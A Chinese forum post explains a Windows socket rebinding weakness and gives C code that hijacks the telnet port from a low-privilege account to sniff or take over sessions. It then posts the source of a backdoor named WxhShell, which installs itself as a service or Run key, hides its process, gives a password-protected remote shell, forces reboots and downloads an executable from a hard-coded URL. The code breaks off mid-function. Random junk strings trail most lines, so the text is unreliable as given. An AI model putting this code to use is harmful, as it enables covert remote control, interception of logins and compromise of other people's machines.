社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11036阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D4PjE@D"H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W4]jx ]  
R'h.lX  
  saddr.sin_family = AF_INET; b21@iW  
iV.j!H7o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'J_6SD  
no7Q%O9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [wM]w  
5XinZ~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o| 9Mj71  
sYd)r%%AU  
  这意味着什么?意味着可以进行如下的攻击: d1u6*&@lf  
7xCm"jgP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r^;1Sm  
~D_Wqr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |[MtUWEW  
(XQ:f|(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {3K`yDF  
/N=M9i\;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %B04|Q  
y#-~L-J_R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 quiX "lV(  
>"pHk@AWK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e{}vT$-  
Y9y'`}+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <MgC7S2I  
LmjGU[L,@  
  #include SH;:bLk_  
  #include V~S(cO[vj  
  #include #~`d ;MC  
  #include    ejlau#8"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C*Wyw]:r  
  int main() Wrs6t  
  { ;I]$N]8YI  
  WORD wVersionRequested; H1hADn  
  DWORD ret; Z1R{'@Y0Z  
  WSADATA wsaData; I0}G, q  
  BOOL val; 'b Kc;\  
  SOCKADDR_IN saddr; .Tc?PmN  
  SOCKADDR_IN scaddr; Q =4~u z|  
  int err; -5MQ/ujQ  
  SOCKET s; D[<~^R;*  
  SOCKET sc; epxbTJfc  
  int caddsize; a5uBQ?  
  HANDLE mt; ]w~ECP(ap  
  DWORD tid;   c>L#(D\\  
  wVersionRequested = MAKEWORD( 2, 2 ); ^d!I{ y#  
  err = WSAStartup( wVersionRequested, &wsaData ); #oxP,LR  
  if ( err != 0 ) { l#rr--];  
  printf("error!WSAStartup failed!\n"); Fqg*H1I[  
  return -1; l'kVi  
  } $B?IE#7S4  
  saddr.sin_family = AF_INET; `WlQ<QEi  
   ]DLs'W;)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r<EwtO+x  
:djbZ><  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :;N2hnHoG  
  saddr.sin_port = htons(23); s+6tdBvzs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4x?4[J~u[  
  { 0 1:(QJ  
  printf("error!socket failed!\n"); <& iLMb:%  
  return -1; p%-m" u  
  } h?-M+Ac  
  val = TRUE; ivJTE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VMJK9|JC[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~A,(D-  
  { Nuc2CB)J  
  printf("error!setsockopt failed!\n"); o~ReeZ7)Zg  
  return -1; o3a%u(   
  } xOdL ct  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -\V;Gw8mD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `l+9g"q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |]tsf /SA  
\Vl)q>K _h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 17yg ~  
  { "rR$2`v"  
  ret=GetLastError(); BD&AtOj[,  
  printf("error!bind failed!\n"); SI:Iv:>  
  return -1; x)-n[Fu  
  } N3@gvS  
  listen(s,2); Zr$D\(hX  
  while(1) tS6r4d%~=  
  { aIklAj)=  
  caddsize = sizeof(scaddr); XseP[  
  //接受连接请求 [A#>G4a<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7WEoyd  
  if(sc!=INVALID_SOCKET) GW!%DT  
  { &ej |DM6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 884-\M"h  
  if(mt==NULL) ms/Q-  
  { ~uh,R-Q$  
  printf("Thread Creat Failed!\n"); >^Y)@ J  
  break; h#]LXs  
  } wo_iCjmK  
  } 0t.v  
  CloseHandle(mt); p@%H. 5&&  
  }  Y$nI9  
  closesocket(s); <M M(Z  
  WSACleanup(); fx = %e  
  return 0; VpWpC&  
  }   V;1i/{  
  DWORD WINAPI ClientThread(LPVOID lpParam)  4B'-tV  
  { iK9#{1BpML  
  SOCKET ss = (SOCKET)lpParam; y+P$}Nru  
  SOCKET sc; +3o 4KB}  
  unsigned char buf[4096]; !l~3K(&4  
  SOCKADDR_IN saddr; B}npom\tC  
  long num; +M.!_2t$2  
  DWORD val; 'T*h0xX  
  DWORD ret; -|`E'b81  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f4&k48Ds  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m,#Us  
  saddr.sin_family = AF_INET; Y$N D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +3k#M[Bn}  
  saddr.sin_port = htons(23); wPH1g*U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5c-'m? k  
  { 4Q^i"jT  
  printf("error!socket failed!\n"); <77v8=as5  
  return -1; ,=y8[(h  
  } m'5rzZP  
  val = 100; <R8!fc{`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lBfG#\rdW~  
  { 6x"|,,&MD0  
  ret = GetLastError(); $jL+15^N0+  
  return -1; ~A-VgBbU>_  
  } ~+Ows  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %y R~dt'  
  {  y jY}o  
  ret = GetLastError(); k"J=CDP\  
  return -1; )*_n/^m  
  } za [;d4<}k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Rb_+C  
  { @4%x7%+[c  
  printf("error!socket connect failed!\n"); I)}T4OOc/  
  closesocket(sc); Wup%.yT~Ds  
  closesocket(ss); Nzel^~  
  return -1; FHbw &  
  } }ygxmb^@Z  
  while(1) I=o/1:[-  
  { L6"?p-:@'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <" F|K!Tz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ol1P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >}>cJh6  
  num = recv(ss,buf,4096,0); oSB0P  
  if(num>0) #;Z+ X)  
  send(sc,buf,num,0); >d#Ks0\&  
  else if(num==0) S}XVr?l 2O  
  break; +B-;.]L T  
  num = recv(sc,buf,4096,0); XyytO;X M-  
  if(num>0) G~`nLC^Y  
  send(ss,buf,num,0); s+E-M=d0e  
  else if(num==0) #;9n_)  
  break; n%}Vd `c  
  } _,5)  
  closesocket(ss); -H AUKY@;5  
  closesocket(sc); HLp'^  
  return 0 ; qlIbnyP<  
  } GXx/pBdy[4  
iJ 8I# j+N  
vV 7L :>  
========================================================== 3M<T}>  
t/0h)mL}  
下边附上一个代码,,WXhSHELL %eLf6|1x  
.T }q"  
========================================================== ,?Nc\Q<:  
Hp?uYih0  
#include "stdafx.h" 8i'EO6  
a0[Mx 4  
#include <stdio.h> %!QY:[   
#include <string.h>  *"K7<S[  
#include <windows.h> 'Z ,T,zW  
#include <winsock2.h> JBvP {5  
#include <winsvc.h> )6,Pmq~)  
#include <urlmon.h> + q@g  
sH{ 4.tw  
#pragma comment (lib, "Ws2_32.lib") 0@*EwI  
#pragma comment (lib, "urlmon.lib") ;c~%:|  
Hy0l"CA*|  
#define MAX_USER   100 // 最大客户端连接数 V( bU=;Qo  
#define BUF_SOCK   200 // sock buffer >)`V $x  
#define KEY_BUFF   255 // 输入 buffer vqnFyd   
tA6x  
#define REBOOT     0   // 重启 ^=gzm s  
#define SHUTDOWN   1   // 关机 ?q+^U>wy&  
i>n)T  
#define DEF_PORT   5000 // 监听端口 ^Q""N<  
BA cnFO  
#define REG_LEN     16   // 注册表键长度 T *8rR"  
#define SVC_LEN     80   // NT服务名长度 Uv"O'Z  
@8xa"Dc  
// 从dll定义API W! q-WU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8.R~Ys*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u+/1ryp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E]IPag8C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CPS1b  
J|GEt@o3  
// wxhshell配置信息 NgPY/R>  
struct WSCFG { sQ8_j  
  int ws_port;         // 监听端口 (&t8.7O  
  char ws_passstr[REG_LEN]; // 口令 l4`HuNR1  
  int ws_autoins;       // 安装标记, 1=yes 0=no FW7@7cVoF  
  char ws_regname[REG_LEN]; // 注册表键名 NA9N#;  
  char ws_svcname[REG_LEN]; // 服务名 5fVm392+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bP 8O&R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q%xq\L.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S6pvbaMZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^RO_B}n3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %V3xO%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f))'8  
C.}Vm};M  
}; )>~d`_$dt  
( [m[<  
// default Wxhshell configuration \ :D'u<8E  
struct WSCFG wscfg={DEF_PORT, S&`iEwG  
    "xuhuanlingzhe", 1#2B1&  
    1, M~k2Y$}R  
    "Wxhshell", Fi*j}4F1  
    "Wxhshell", H(k-jAO,  
            "WxhShell Service", 7o5~J)qIC  
    "Wrsky Windows CmdShell Service", yJ!x`RD),w  
    "Please Input Your Password: ", GVl TW?5  
  1, ui#K`.dn  
  "http://www.wrsky.com/wxhshell.exe", w~I;4p~(N  
  "Wxhshell.exe" dN)!B!*aI  
    }; &!pG1Fp9  
Jg\1(ix  
// 消息定义模块 /,cyp .  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AD/7k3:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~56F<=#,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jWL;ElM'  
char *msg_ws_ext="\n\rExit."; :Z'q1kW@"  
char *msg_ws_end="\n\rQuit."; =$t  
char *msg_ws_boot="\n\rReboot..."; :i>/aRNh1  
char *msg_ws_poff="\n\rShutdown..."; \C(dWs  
char *msg_ws_down="\n\rSave to "; 6EeK5XLf,  
3"XS#~l%  
char *msg_ws_err="\n\rErr!"; ",&c"r4c  
char *msg_ws_ok="\n\rOK!"; g =)djXW  
AJ`R2 $  
char ExeFile[MAX_PATH]; |?KdQeL  
int nUser = 0; 540,A,>:tb  
HANDLE handles[MAX_USER]; | N/Wu9w$  
int OsIsNt; v%6mH6V  
:n t\uwh  
SERVICE_STATUS       serviceStatus; !W ,pjW%Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |zaYIVE[  
M~/R1\'&j  
// 函数声明 ,\cO>y@  
int Install(void); .]\+JTm  
int Uninstall(void); hXE_OXZ  
int DownloadFile(char *sURL, SOCKET wsh); C)|{7W  
int Boot(int flag); $6 A91|ZSQ  
void HideProc(void); c6 tB9b  
int GetOsVer(void); D^%DYp  
int Wxhshell(SOCKET wsl); P)$q  
void TalkWithClient(void *cs); XK 09x1r  
int CmdShell(SOCKET sock); z8"(Yy7m  
int StartFromService(void); 9?xc3F2EBD  
int StartWxhshell(LPSTR lpCmdLine); 4H\+vJPM  
9uL="z$\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4:Bpz;x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~>]/1JFz  
H#+?)<UQ  
// 数据结构和表定义 (i*;V0  
SERVICE_TABLE_ENTRY DispatchTable[] = %G%D[ i]  
{ $_P*Bk)  
{wscfg.ws_svcname, NTServiceMain}, z]J pvw`p  
{NULL, NULL} #*|0WaC  
}; KW~fW r8  
kj4t![o+  
// 自我安装 EFYyr f@  
int Install(void) M9aVE)*!I  
{ xep!.k x  
  char svExeFile[MAX_PATH]; DY~zi  
  HKEY key; =p lG9  
  strcpy(svExeFile,ExeFile); oy) 'wb~  
Pd[&&!+gV  
// 如果是win9x系统,修改注册表设为自启动 ZTwCFn  
if(!OsIsNt) { NpIx\\d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^:c"%<"='  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nhm)bdv]  
  RegCloseKey(key); YdI&OzaroE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]1XJQW@gF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q ]u*Oels  
  RegCloseKey(key); #ir~v>J||  
  return 0; 0R0j7\{  
    } v'QmuMWF  
  } JTxHM?/G  
} Td`0;R'<}c  
else { dGrm1w  
@6roW\'$  
// 如果是NT以上系统,安装为系统服务 HP /@ _qk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [7:(e/&  
if (schSCManager!=0) F9SkEf]99  
{ mJ3|UClPS  
  SC_HANDLE schService = CreateService xqua>!mqS  
  ( {{\ d5CkX  
  schSCManager, -X6[qLq  
  wscfg.ws_svcname, l{7q(  
  wscfg.ws_svcdisp, }8W5m(Zq9n  
  SERVICE_ALL_ACCESS, S1R:/9 z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nDh D"rc  
  SERVICE_AUTO_START, y^SDt3Am  
  SERVICE_ERROR_NORMAL, V+M=@Pvp9  
  svExeFile, #!WD1a?L  
  NULL, pd[?TyVK;  
  NULL, kdX ]Afyj  
  NULL, X8Xw'  
  NULL, >J \}&!8,  
  NULL `XJU$c  
  ); r3hUa4^97  
  if (schService!=0) -]?F  
  { cS'|c06  
  CloseServiceHandle(schService); Yzr|Z7r q}  
  CloseServiceHandle(schSCManager); X R =^zp?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yE\dv)(<  
  strcat(svExeFile,wscfg.ws_svcname); >c~ Fg s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q0}Sju+HX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YMSA[hm  
  RegCloseKey(key); wd/"! A4(  
  return 0; U#jbii6e  
    } d`_X$P4y  
  } 42Gv]X  
  CloseServiceHandle(schSCManager); "t{|e6   
} fgg;WXcT ~  
} /puM3ZN  
lP!`lhc-^  
return 1; Dm"@59x  
} P7||d@VW,  
AvN\^ &G  
// 自我卸载 V ?10O  
int Uninstall(void) fFHT`"bD:  
{ ~;f,Ad`Q  
  HKEY key; } h.]sF  
fh1rmet&Ts  
if(!OsIsNt) { t/=xY'7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7%-+7O3ud  
  RegDeleteValue(key,wscfg.ws_regname); l~/g^lN  
  RegCloseKey(key); ~vVsxC$.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R9/(z\'}  
  RegDeleteValue(key,wscfg.ws_regname); @"6dq;"  
  RegCloseKey(key); hY?x14m$3  
  return 0; m|RA@sY%`  
  } p.gaw16}>  
} \s.c.c*eh;  
} Y+k)d^6r  
else { /uc*V6Xd (  
?E@ 9Nvr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )_bR"!Z  
if (schSCManager!=0) O~r.sJ}  
{ +~6gP!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wm5/>Cu,  
  if (schService!=0) gCMwmanX  
  { @q?zh'@;  
  if(DeleteService(schService)!=0) { O>=D1no*  
  CloseServiceHandle(schService); %CxrXU  
  CloseServiceHandle(schSCManager); S}=euY'i  
  return 0; .H,wdzg)  
  } `XwFH#_  
  CloseServiceHandle(schService); KT)A{i  
  } (Ut)APM  
  CloseServiceHandle(schSCManager); .{-&3++WZ  
} +$eEZ;4  
} Yxal%  
xp395ub6  
return 1; -`mHb  
} 8?lp:kM  
UqaLTdYG  
// 从指定url下载文件 %n3lm(-0U  
int DownloadFile(char *sURL, SOCKET wsh) m17H#!`  
{ }*2q7K2bj  
  HRESULT hr; piRP2Lbm*  
char seps[]= "/"; p&nIUx"  
char *token; CvwC| AW  
char *file; uZe|%xK$y  
char myURL[MAX_PATH]; yW&|ZJF?  
char myFILE[MAX_PATH]; A;t6duBDf/  
Y5}<7s\UDO  
strcpy(myURL,sURL); A=7  [^I2  
  token=strtok(myURL,seps); %|l^oC+E  
  while(token!=NULL) S$!)Uc\)A  
  { ;NrN#<j( !  
    file=token; 8+Y+\XZG  
  token=strtok(NULL,seps); AwhXCq|k  
  } `7|\Gqy  
'V reO52  
GetCurrentDirectory(MAX_PATH,myFILE); H!y%FaTi  
strcat(myFILE, "\\"); zCdQI  
strcat(myFILE, file); x"@Y[  
  send(wsh,myFILE,strlen(myFILE),0); 1D42+cy  
send(wsh,"...",3,0); s2*^ PG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &ACM:&Ob  
  if(hr==S_OK) N798("  
return 0; [@U2a$k+d  
else :V>M{vd  
return 1; P"`OuN  
]j.??'+rg  
} \0'7p-T6  
zV(F9}^  
// 系统电源模块 *&b~cyC  
int Boot(int flag) aZ%  
{ 2;@#i*\Y  
  HANDLE hToken; 7-nz'-'  
  TOKEN_PRIVILEGES tkp; 3,@I` M  
KGCm@oy  
  if(OsIsNt) { 2TN+ (B#Z!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k<xiP@b{y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4{Vw30DZ  
    tkp.PrivilegeCount = 1; 6e1/h@p\7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %4:tRF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o|\0IG(\  
if(flag==REBOOT) { ?QGAiu0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \de82 4  
  return 0; JzA`*X[  
} xm@vx}O:  
else {  fL9R{=I%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  '&/"_  
  return 0; 4%Q8>mEvT  
} Sb=cWn P  
  } Fg8i} >w  
  else { Jsee8^_~  
if(flag==REBOOT) { ^c1%$@H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |k~\E|^  
  return 0; \29a@6  
} 4qtjP8Zv[  
else { 6Sh0%F s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &j}\ZD  
  return 0; M6E.!Cs  
} r>N5 ^  
} #4. S2m4  
$O*rxQ}  
return 1; 2| u'J  
} 9/OB!<*V|  
krkRP%jy  
// win9x进程隐藏模块 c?i=6C dD'  
void HideProc(void) 73?ZB+\)0A  
{ i 7:R4G(/#  
i]{M G'tg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 41y}n{4n8  
  if ( hKernel != NULL ) k'uN2m  
  { 5_U3Fs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vmI]N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L1"y5HJ  
    FreeLibrary(hKernel); } FcWzi  
  } | fAt[e_E  
4e d+'-"m  
return; %C*oy$.  
} q^],K'  
j[ !'l,I  
// 获取操作系统版本 kN9pl^2  
int GetOsVer(void) wy5vn?T@  
{ t.m65  
  OSVERSIONINFO winfo; hETTD%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MR$Bl"d  
  GetVersionEx(&winfo); 45l/)=@@B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4C2JyP3  
  return 1; 3R%'<MV|  
  else [m7jZOEu  
  return 0; RG=!,#X  
} 2F(zHa  
7Wg0-{yK4  
// 客户端句柄模块 kd9rvy0oK  
int Wxhshell(SOCKET wsl) B@Zed Xi  
{ *V(TNLIh;  
  SOCKET wsh; LGq}wxq  
  struct sockaddr_in client; EJP##eGx  
  DWORD myID; J2 _DP  
T_CYSS|fX  
  while(nUser<MAX_USER) s$e0;C!D  
{ @)mH"u!(7  
  int nSize=sizeof(client); !n4p*<Y6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kQXtO)  
  if(wsh==INVALID_SOCKET) return 1; gio'_X  
^YzFEu$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6dO )]  
if(handles[nUser]==0) kKnz F  
  closesocket(wsh); YK#bzu ,!  
else !h&A^sAc  
  nUser++; (v*$ExF  
  } 9,y*kC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /X)fWO S6  
Hk%m`|Z  
  return 0; O.S(H1z<G  
} `i0RLGze  
'7}s25[{\  
// 关闭 socket <\c 5  
void CloseIt(SOCKET wsh) Hs<vCL \  
{ s  bV6}  
closesocket(wsh); v/6QE;BY&Q  
nUser--; 7>`QX%  
ExitThread(0); "YD<pRVB  
} :%qJAjR&  
1lu _<?O  
// 客户端请求句柄 P X ?!R4S  
void TalkWithClient(void *cs) :|xV}  
{ lqe;lWC0Z  
rJK3;d?E  
  SOCKET wsh=(SOCKET)cs; 6&7#?/Lq  
  char pwd[SVC_LEN]; -G2'c)DR  
  char cmd[KEY_BUFF]; !=>pI/ECQ*  
char chr[1]; 31-%IkX+k  
int i,j; 9/ R|\  
Qy |*[  
  while (nUser < MAX_USER) { j E_a ++  
O$+J{@  
if(wscfg.ws_passstr) { ;cIs$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Ad$Q9)EE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bJ~]nj 3  
  //ZeroMemory(pwd,KEY_BUFF); GYYk3\r  
      i=0; *b9=&:pU(  
  while(i<SVC_LEN) { !u)ve h3x  
Y( n# =  
  // 设置超时 -#= v~vE  
  fd_set FdRead; U.UN=uv_  
  struct timeval TimeOut; 2'W3:   
  FD_ZERO(&FdRead); nE)?P*$3Z  
  FD_SET(wsh,&FdRead); g9I2 e<;o  
  TimeOut.tv_sec=8; ZZp6@@zyq'  
  TimeOut.tv_usec=0; I$v* SeVHE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rmutw~nHD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >[B[Q_})  
EI6K0{'&X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ::N'tcZ^2  
  pwd=chr[0]; "#^11o8  
  if(chr[0]==0xd || chr[0]==0xa) { 4Y8/>uL  
  pwd=0; A?'Tigi  
  break; `yJpDGh  
  } <<K GS  
  i++; EXUjdJs"  
    } lw0l86^Y  
IBr?6_\%"4  
  // 如果是非法用户,关闭 socket /qA\|'~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r8rU+4\8<  
} K1 a$ m2  
2ku\R7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); + |MHiC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o7E?A  
6}A1^RB+w  
while(1) { 0 3kzS ]g  
r`}')2  
  ZeroMemory(cmd,KEY_BUFF); p7}x gUxX  
.p&4]6  
      // 自动支持客户端 telnet标准   Qp~O!9ph  
  j=0; 5Og.:4  
  while(j<KEY_BUFF) { ,Hn{nVU1R=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OF'y]W&  
  cmd[j]=chr[0]; $NzD&b$7  
  if(chr[0]==0xa || chr[0]==0xd) { v)>R)bzqe  
  cmd[j]=0; <[Ae 0UK  
  break;  RSXYz8{  
  } yZ=wT,Y  
  j++; `=8g%O|T  
    } @#$5_uU8\(  
a,IE;5kG  
  // 下载文件 uFNVV;~RFI  
  if(strstr(cmd,"http://")) { <rV3(qb#]J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3G|n`dj  
  if(DownloadFile(cmd,wsh)) pq$`T|6^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8C3oj  
  else +gh6eY8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  chW 1UE  
  } +G*2f V>  
  else { }stc]L{79  
=b2/g [  
    switch(cmd[0]) { #Q}`kFB`  
  4% )I[-sH  
  // 帮助 -R@mnG 5  
  case '?': { #x! h BS!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  2bwf(  
    break; 'Y{fah  
  } +m kub}<a  
  // 安装 y}dop1zp  
  case 'i': { < TJzp  
    if(Install()) ],9%QE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nn!W-Bsqjh  
    else &OD)e@Tc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E!w%oTx{OR  
    break; `''\FPhh  
    } Ha{#  
  // 卸载 ,,vl+Z <&  
  case 'r': { YNV4w{>FD  
    if(Uninstall()) #]pFE.o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@f5d  
    else eSNi6RvE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v {E~R  
    break; uQgv ;jsPz  
    } &y"e|aE  
  // 显示 wxhshell 所在路径 Y}BT| "  
  case 'p': { JJ_77i  
    char svExeFile[MAX_PATH]; ,;9byb  
    strcpy(svExeFile,"\n\r"); z/yNFY]i  
      strcat(svExeFile,ExeFile); %7WGodlXW  
        send(wsh,svExeFile,strlen(svExeFile),0); gwwYz]'d>r  
    break; mb_*FJB-_  
    } $|-joY  
  // 重启 }cuU5WQ?%  
  case 'b': { }_m/3*x_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]G m"U!h*  
    if(Boot(REBOOT)) LRl2@&z<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ikd~k>F  
    else { Oo<L~7B  
    closesocket(wsh); 7kJ =C  
